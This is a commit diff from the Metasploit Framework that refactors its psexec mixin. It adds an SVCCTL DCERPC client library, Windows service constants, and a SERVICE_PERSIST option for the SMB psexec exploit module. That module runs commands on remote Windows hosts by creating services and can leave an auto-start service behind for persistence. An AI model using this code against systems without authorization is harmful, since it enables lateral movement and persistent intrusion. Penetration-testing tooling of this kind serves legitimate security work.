Land #3144, psexec refactoring

bug/bundler_fix
Tod Beardsley 2014-12-10 17:20:35 -06:00
commit 0eea9a02a1
No known key found for this signature in database
GPG Key ID: BD63D0A3EA19CAAC
6 changed files with 585 additions and 99 deletions

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl'
module Msf module Msf
@ -12,9 +13,50 @@ module Msf
module Exploit::Remote::SMB::Psexec module Exploit::Remote::SMB::Psexec
include Rex::Constants::Windows
include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated include Msf::Exploit::Remote::SMB::Authenticated
def initialize(info = {})
super
register_options(
[
OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
], self.class)
register_advanced_options(
[
OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
], self.class)
end
# Retrieve the SERVICE_NAME option, generate a random
# one if not already set.
#
# @return service_name [String] the name of the service.
def service_name
@service_name ||= datastore['SERVICE_NAME']
@service_name ||= Rex::Text.rand_text_alpha(8)
end
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
# one if not already set.
#
# @return service_display_name [String] the display name of the service.
def display_name
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
@display_name ||= Rex::Text.rand_text_alpha(16)
end
# Retrieve the SERVICE_DESCRIPTION option
#
# @return service_description [String] the service description.
def service_description
@service_description ||= datastore['SERVICE_DESCRIPTION']
end
# Retrives output from the executed command # Retrives output from the executed command
# #
# @param smbshare [String] The SMBshare to connect to. Usually C$ # @param smbshare [String] The SMBshare to connect to. Usually C$
@ -37,7 +79,6 @@ module Exploit::Remote::SMB::Psexec
end end
end end
# Executes a single windows command. # Executes a single windows command.
# #
# If you want to retrieve the output of your command you'll have to # If you want to retrieve the output of your command you'll have to
@ -47,115 +88,109 @@ module Exploit::Remote::SMB::Psexec
# {Exploit::FileDropper#cleanup} and # {Exploit::FileDropper#cleanup} and
# {Exploit::FileDropper#on_new_session} handlers do it for you. # {Exploit::FileDropper#on_new_session} handlers do it for you.
# #
# @todo Figure out the actual exceptions this needs to deal with
# instead of all the ghetto "rescue ::Exception" madness
# @param command [String] Should be a valid windows command # @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards # @param disconnect [Boolean] Disconnect afterwards
# @param service_description [String] Service Description
# @param service_name [String] Service Name
# @param display_name [Strnig] Display Name
# @return [Boolean] Whether everything went well # @return [Boolean] Whether everything went well
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil) def psexec(command, disconnect=true)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$") simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...") vprint_status("#{peer} - Binding to #{handle} ...")
dcerpc_bind(handle) dcerpc_bind(handle)
vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Bound to #{handle} ...")
vprint_status("#{peer} - Obtaining a service manager handle...") vprint_status("#{peer} - Obtaining a service manager handle...")
scm_handle = nil
stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("#{peer} - Error getting scm handle: #{e}")
return false
end
servicename = service_name || Rex::Text.rand_text_alpha(11)
displayname = display_name || Rex::Text.rand_text_alpha(16)
svc_handle = nil svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
svc_status = nil scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
stubdata =
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + if scm_status == ERROR_ACCESS_DENIED
NDR.long(0x0F01FF) + # Access: MAX print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager")
NDR.long(0x00000110) + # Type: Interactive, Own process end
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore return false unless scm_handle
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup if datastore['SERVICE_PERSIST']
NDR.long(0) + # Dependencies opts = { :start => SERVICE_AUTO_START }
NDR.long(0) + # Service Start else
NDR.long(0) + # Password opts = {}
NDR.long(0) + # Password end
NDR.long(0) + # Password
NDR.long(0) # Password vprint_status("#{peer} - Creating the service...")
begin svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
vprint_status("#{peer} - Creating the service...")
response = dcerpc.call(0x0c, stubdata) case svc_status
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil when ERROR_SUCCESS
svc_handle = dcerpc.last_response.stub_data[4,20] vprint_good("#{peer} - Successfully created the service")
svc_status = dcerpc.last_response.stub_data[24,4] when ERROR_SERVICE_EXISTS
end service_exists = true
rescue ::Exception => e print_warning("#{peer} - Service already exists, opening a handle...")
print_error("#{peer} - Error creating service: #{e}") svc_handle = svc_client.openservicew(scm_handle, service_name)
when ERROR_ACCESS_DENIED
print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
return false
else
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
return false return false
end end
if service_description if svc_handle.nil?
vprint_status("#{peer} - Changing service description...") print_error("#{peer} - No service handle retrieved")
stubdata = return false
svc_handle + else
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION if service_description
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct vprint_status("#{peer} - Changing service description...")
NDR.long(0x04000200) + svc_client.changeservicedescription(svc_handle, service_description)
NDR.wstring(service_description) end
vprint_status("#{peer} - Starting the service...")
begin begin
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2 svc_status = svc_client.startservice(svc_handle)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e case svc_status
print_error("#{peer} - Error changing service description : #{e}") when ERROR_SUCCESS
print_good("#{peer} - Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("#{peer} - Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...")
else
print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
end
ensure
begin
# If service already exists don't delete it!
# Maybe we could have a force cleanup option..?
if service_exists
print_warning("#{peer} - Not removing service as it already existed...")
elsif datastore['SERVICE_PERSIST']
print_warning("#{peer} - Not removing service for persistance...")
else
vprint_status("#{peer} - Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("#{peer} - Successfully removed the sevice")
else
print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
end
end
ensure
vprint_status("#{peer} - Closing service handle...")
svc_client.closehandle(svc_handle)
end
end end
end end
vprint_status("#{peer} - Starting the service...")
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
end
rescue ::Exception => e
print_error("#{peer} - Error starting service: #{e}")
return false
end
vprint_status("#{peer} - Removing the service...")
stubdata = svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
end
rescue ::Exception => e
print_error("#{peer} - Error removing service: #{e}")
end
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("#{peer} - Error closing service handle: #{e}")
end
if disconnect if disconnect
sleep(1) sleep(1)
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
end end
return true true
end end
def peer def peer
return "#{rhost}:#{rport}" "#{rhost}:#{rport}"
end end
end end

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*- # -*- coding: binary -*-
# #
# Log severities # Log severities
# #

View File

@ -0,0 +1,147 @@
module Rex::Constants
module Windows
##
#
# Access Types
# winnt.h
#
##
STANDARD_RIGHTS_REQUIRED = 0x000F0000
##
#
# Errors
#
##
ERROR_SUCCESS = 0x0
ERROR_FILE_NOT_FOUND = 0x2
ERROR_ACCESS_DENIED = 0x5
ERROR_SERVICE_REQUEST_TIMEOUT = 0x41D
ERROR_SERVICE_EXISTS = 0x431
##
#
# SVCCTL Protocol Functions
# http://msdn.microsoft.com/en-us/library/cc245920.aspxa
#
##
CLOSE_SERVICE_HANDLE = 0x00
CONTROL_SERVICE = 0x01
DELETE_SERVICE = 0x02
QUERY_SERVICE_STATUS = 0x05
CHANGE_SERVICE_CONFIG_W = 0x0b
CREATE_SERVICE_W = 0x0c
OPEN_SC_MANAGER_W = 0x0f
OPEN_SERVICE_W = 0x10
CHANGE_SERVICE_CONFIG2_W = 0x25
##
#
# Services
# winsvc.h
##
SERVICE_WIN32_OWN_PROCESS = 0x10
SERVICE_INTERACTIVE_PROCESS = 0x100
SERVICE_BOOT_START = 0x00
SERVICE_SYSTEM_START = 0x01
SERVICE_AUTO_START = 0x02
SERVICE_DEMAND_START = 0x03
SERVICE_DISABLED = 0x04
SERVICE_ERROR_IGNORE = 0x0
SERVICE_NO_CHANGE = 0xffffffff
SERVICE_ACTIVE = 0x00000001
SERVICE_INACTIVE = 0x00000002
SERVICE_STATE_ALL = (SERVICE_ACTIVE |
SERVICE_INACTIVE)
SERVICE_CONTROL_STOP = 0x00000001
SERVICE_CONTROL_PAUSE = 0x00000002
SERVICE_CONTROL_CONTINUE = 0x00000003
SERVICE_CONTROL_INTERROGATE = 0x00000004
SERVICE_CONTROL_SHUTDOWN = 0x00000005
SERVICE_CONTROL_PARAMCHANGE = 0x00000006
SERVICE_CONTROL_NETBINDADD = 0x00000007
SERVICE_CONTROL_NETBINDREMOVE = 0x00000008
SERVICE_CONTROL_NETBINDENABLE = 0x00000009
SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A
SERVICE_CONTROL_DEVICEEVENT = 0x0000000B
SERVICE_CONTROL_HARDWAREPROFILECHANGE =0x0000000C
SERVICE_CONTROL_POWEREVENT = 0x0000000D
SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E
SERVICE_CONTROL_PRESHUTDOWN = 0x0000000F
SERVICE_CONTROL_TIMECHANGE = 0x00000010
SERVICE_CONTROL_TRIGGEREVENT = 0x00000020
SERVICE_STOPPED = 0x00000001
SERVICE_START_PENDING = 0x00000002
SERVICE_STOP_PENDING = 0x00000003
SERVICE_RUNNING = 0x00000004
SERVICE_CONTINUE_PENDING = 0x00000005
SERVICE_PAUSE_PENDING = 0x00000006
SERVICE_PAUSED = 0x00000007
SERVICE_ACCEPT_STOP = 0x00000001
SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
SERVICE_ACCEPT_SHUTDOWN = 0x00000004
SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010
SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
SERVICE_ACCEPT_POWEREVENT = 0x00000040
SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
SERVICE_ACCEPT_TIMECHANGE = 0x00000200
SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400
SC_MANAGER_CONNECT = 0x0001
SC_MANAGER_CREATE_SERVICE = 0x0002
SC_MANAGER_ENUMERATE_SERVICE = 0x0004
SC_MANAGER_LOCK = 0x0008
SC_MANAGER_QUERY_LOCK_STATUS = 0x0010
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020
SC_MANAGER_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
SC_MANAGER_CONNECT |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_LOCK |
SC_MANAGER_QUERY_LOCK_STATUS |
SC_MANAGER_MODIFY_BOOT_CONFIG)
SERVICE_QUERY_CONFIG = 0x0001
SERVICE_CHANGE_CONFIG = 0x0002
SERVICE_QUERY_STATUS = 0x0004
SERVICE_ENUMERATE_DEPENDENTS = 0x0008
SERVICE_START = 0x0010
SERVICE_STOP = 0x0020
SERVICE_PAUSE_CONTINUE = 0x0040
SERVICE_INTERROGATE = 0x0080
SERVICE_USER_DEFINED_CONTROL = 0x0100
SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | \
SERVICE_QUERY_CONFIG | \
SERVICE_CHANGE_CONFIG | \
SERVICE_QUERY_STATUS | \
SERVICE_ENUMERATE_DEPENDENTS | \
SERVICE_START | \
SERVICE_STOP | \
SERVICE_PAUSE_CONTINUE | \
SERVICE_INTERROGATE | \
SERVICE_USER_DEFINED_CONTROL)
SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001
SERVICE_CONFIG_DESCRIPTION = 1
SERVICE_CONFIG_FAILURE_ACTIONS = 2
SERVICE_CONFIG_DELAYED_AUTO_START_INFO = 3
SERVICE_CONFIG_FAILURE_ACTIONS_FLAG = 4
SERVICE_CONFIG_SERVICE_SID_INFO = 5
SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 6
SERVICE_CONFIG_PRESHUTDOWN_INFO = 7
SERVICE_CONFIG_TRIGGER_INFO = 8
SERVICE_CONFIG_PREFERRED_NODE = 9
SERVICE_CONFIG_LAUNCH_PROTECTED = 12
end
end

View File

@ -0,0 +1,2 @@
# -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl/packet'

View File

@ -0,0 +1,304 @@
# -*- coding: binary -*-
module Rex
###
# This module implements MSRPC functions that control creating, deleting,
# starting, stopping, and querying system services.
###
module Proto::DCERPC::SVCCTL
require 'rex/constants/windows'
NDR = Rex::Encoder::NDR
class Client
include Rex::Constants::Windows
attr_accessor :dcerpc_client
def initialize(dcerpc_client)
self.dcerpc_client = dcerpc_client
end
# Returns the Windows Error Code in numeric format
#
# @param raw_error [String] the raw error code in binary format.
#
# @return [Integer] the Windows Error Code integer.
def error_code(raw_error)
raw_error.unpack('V').first
end
# Calls OpenSCManagerW() to obtain a handle to the service control manager.
#
# @param rhost [String] the target host.
# @param access [Fixnum] the access flags requested.
#
# @return [Array<String,Integer>] the handle to the service control manager or nil if
# the call is not successful and the Windows error code
def openscmanagerw(rhost, access = SC_MANAGER_ALL_ACCESS)
scm_handle = nil
scm_status = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(access)
begin
response = dcerpc_client.call(OPEN_SC_MANAGER_W, stubdata)
if response
scm_status = error_code(response[20,4])
if scm_status == ERROR_SUCCESS
scm_handle = response[0,20]
end
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error getting scm handle: #{e}")
end
[scm_handle, scm_status]
end
# Calls CreateServiceW() to create a system service. Returns a handle to
# the service on success, or nil.
#
# @param scm_handle [String] the SCM handle (from {#openscmanagerw}).
# @param service_name [String] the service name.
# @param display_name [String] the display name.
# @param binary_path [String] the path of the binary to run.
# @param opts [Hash] arguments for CreateServiceW()
# @option opts [Fixnum] :access (SERVICE_ALL_ACCESS) the access level.
# @option opts [Fixnum] :type (SERVICE_WIN32_OWN_PROCESS ||
# SERVICE_INTERACTIVE_PROCESS) the type of service.
# @option opts [Fixnum] :start (SERVICE_DEMAND_START) the start options.
# @option opts [Fixnum] :errors (SERVICE_ERROR_IGNORE) the error options.
# @option opts [Fixnum] :load_order_group (0) the load order group.
# @option opts [Fixnum] :dependencies (0) the dependencies of the service.
# @option opts [Fixnum] :service_start (0)
# @option opts [Fixnum] :password1 (0)
# @option opts [Fixnum] :password2 (0)
# @option opts [Fixnum] :password3 (0)
# @option opts [Fixnum] :password4 (0)
#
# @return [String, Integer] a handle to the created service, windows
# error code.
def createservicew(scm_handle, service_name, display_name, binary_path, opts)
default_opts = {
:access => SERVICE_ALL_ACCESS,
:type => SERVICE_WIN32_OWN_PROCESS || SERVICE_INTERACTIVE_PROCESS,
:start => SERVICE_DEMAND_START,
:errors => SERVICE_ERROR_IGNORE,
:load_order_group => 0,
:dependencies => 0,
:service_start => 0,
:password1 => 0,
:password2 => 0,
:password3 => 0,
:password4 => 0
}.merge(opts)
svc_handle = nil
svc_status = nil
stubdata = scm_handle +
NDR.wstring(service_name) +
NDR.uwstring(display_name) +
NDR.long(default_opts[:access]) +
NDR.long(default_opts[:type]) +
NDR.long(default_opts[:start]) +
NDR.long(default_opts[:errors]) +
NDR.wstring(binary_path) +
NDR.long(default_opts[:load_order_group]) +
NDR.long(default_opts[:dependencies]) +
NDR.long(default_opts[:service_start]) +
NDR.long(default_opts[:password1]) +
NDR.long(default_opts[:password2]) +
NDR.long(default_opts[:password3]) +
NDR.long(default_opts[:password4])
begin
response = dcerpc_client.call(CREATE_SERVICE_W, stubdata)
if response
svc_status = error_code(response[24,4])
if svc_status == ERROR_SUCCESS
svc_handle = response[4,20]
end
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error creating service: #{e}")
end
return svc_handle, svc_status
end
# Calls ChangeServiceConfig2() to change the service description.
#
# @param svc_handle [String] the service handle to change.
# @param service_description [String] the service description.
#
# @return [Integer] Windows error code
def changeservicedescription(svc_handle, service_description)
svc_status = nil
stubdata =
svc_handle +
NDR.long(SERVICE_CONFIG_DESCRIPTION) +
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
NDR.long(0x04000200) +
NDR.wstring(service_description)
begin
response = dcerpc_client.call(CHANGE_SERVICE_CONFIG2_W, stubdata) # ChangeServiceConfig2
svc_status = error_code(response)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error changing service description : #{e}")
end
svc_status
end
# Calls CloseHandle() to close a handle.
#
# @param handle [String] the handle to close.
#
# @return [Integer] Windows error code
def closehandle(handle)
svc_status = nil
begin
response = dcerpc_client.call(CLOSE_SERVICE_HANDLE, handle)
if response
svc_status = error_code(response[20,4])
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error closing service handle: #{e}")
end
svc_status
end
# Calls OpenServiceW to obtain a handle to an existing service.
#
# @param scm_handle [String] the SCM handle (from {#openscmanagerw}).
# @param service_name [String] the name of the service to open.
# @param access [Fixnum] the level of access requested (default is maximum).
#
# @return [String, nil] the handle of the service opened, or nil on failure.
def openservicew(scm_handle, service_name, access = SERVICE_ALL_ACCESS)
svc_handle = nil
svc_status = nil
stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access)
begin
response = dcerpc_client.call(OPEN_SERVICE_W, stubdata)
if response
svc_status = error_code(response[20,4])
if svc_status == ERROR_SUCCESS
svc_handle = response[0,20]
end
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error opening service handle: #{e}")
end
svc_handle
end
# Calls StartService() on a handle to an existing service in order to start
# it. Returns true on success, or false.
#
# @param svc_handle [String] the handle of the service (from {#openservicew}).
# @param magic1 [Fixnum] an unknown value.
# @param magic2 [Fixnum] another unknown value.
#
# @return [Integer] Windows error code
def startservice(svc_handle, magic1 = 0, magic2 = 0)
svc_status = nil
stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2)
begin
response = dcerpc_client.call(0x13, stubdata)
if response
svc_status = error_code(response)
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error starting service: #{e}")
end
svc_status
end
# Stops a running service.
#
# @param svc_handle [String] the handle of the service (from {#openservicew}).
#
# @return [Integer] Windows error code
def stopservice(svc_handle)
dce_controlservice(svc_handle, SERVICE_CONTROL_STOP)
end
# Controls an existing service.
#
# @param svc_handle [String] the handle of the service (from {#openservicew}).
# @param operation [Fixnum] the operation number to perform (1 = stop
# service; others are unknown).
#
# @return [Integer] Windows error code
def controlservice(svc_handle, operation)
svc_status = nil
begin
response = dcerpc_client.call(CONTROL_SERVICE, svc_handle + NDR.long(operation))
if response
svc_status = error_code(response[28,4])
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error controlling service: #{e}")
end
svc_status
end
# Calls DeleteService() to delete a service.
#
# @param svc_handle [String] the handle of the service (from {#openservicew}).
#
# @return [Integer] Windows error code
def deleteservice(svc_handle)
svc_status = nil
begin
response = dcerpc_client.call(DELETE_SERVICE, svc_handle)
if response
svc_status = error_code(response)
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error deleting service: #{e}")
end
svc_status
end
# Calls QueryServiceStatus() to query the status of a service.
#
# @param svc_handle [String] the handle of the service (from {#openservicew}).
#
# @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned
# that isn't implemented), 1 if the service is running, and
# 2 if the service is stopped.
def queryservice(svc_handle)
ret = 0
begin
response = dcerpc_client.call(QUERY_SERVICE_STATUS, svc_handle)
if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01"
ret = 1
elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00"
ret = 2
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error deleting service: #{e}")
end
ret
end
end
end
end

View File

@ -15,7 +15,6 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking Rank = ManualRanking
@ -78,9 +77,6 @@ class Metasploit3 < Msf::Exploit::Remote
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]), OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]),
OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]),
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil])
], self.class) ], self.class)
end end
@ -227,17 +223,18 @@ class Metasploit3 < Msf::Exploit::Remote
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end end
psexec(file_location, false, servicedescription, servicename, displayname) psexec(file_location, false)
print_status("Deleting \\#{filename}...") unless datastore['SERVICE_PERSIST']
print_status("Deleting \\#{filename}...")
#This is not really useful but will prevent double \\ on the wire :) #This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/ if datastore['SHARE'] =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
simple.delete("\\#{fileprefix}\\#{filename}") simple.delete("\\#{fileprefix}\\#{filename}")
else else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
simple.delete("\\#{filename}") simple.delete("\\#{filename}")
end
end end
end end
handler handler